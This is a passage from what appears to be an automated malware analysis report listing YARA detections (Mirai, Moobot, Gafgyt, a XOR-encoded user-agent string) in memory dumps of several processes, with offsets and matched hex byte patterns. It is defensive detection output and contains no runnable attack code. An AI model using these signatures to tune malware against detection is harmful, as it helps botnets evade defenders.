2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6975.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6325.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6325.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6325.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7020.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7020.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7020.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7020.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7020.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7020.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6847.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6795.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6881.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6881.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6881.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6881.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6881.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6881.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6564.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6380.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6380.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6380.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6440.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6440.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6440.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6440.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6440.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6440.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6819.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6930.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6930.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6930.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6930.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6930.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 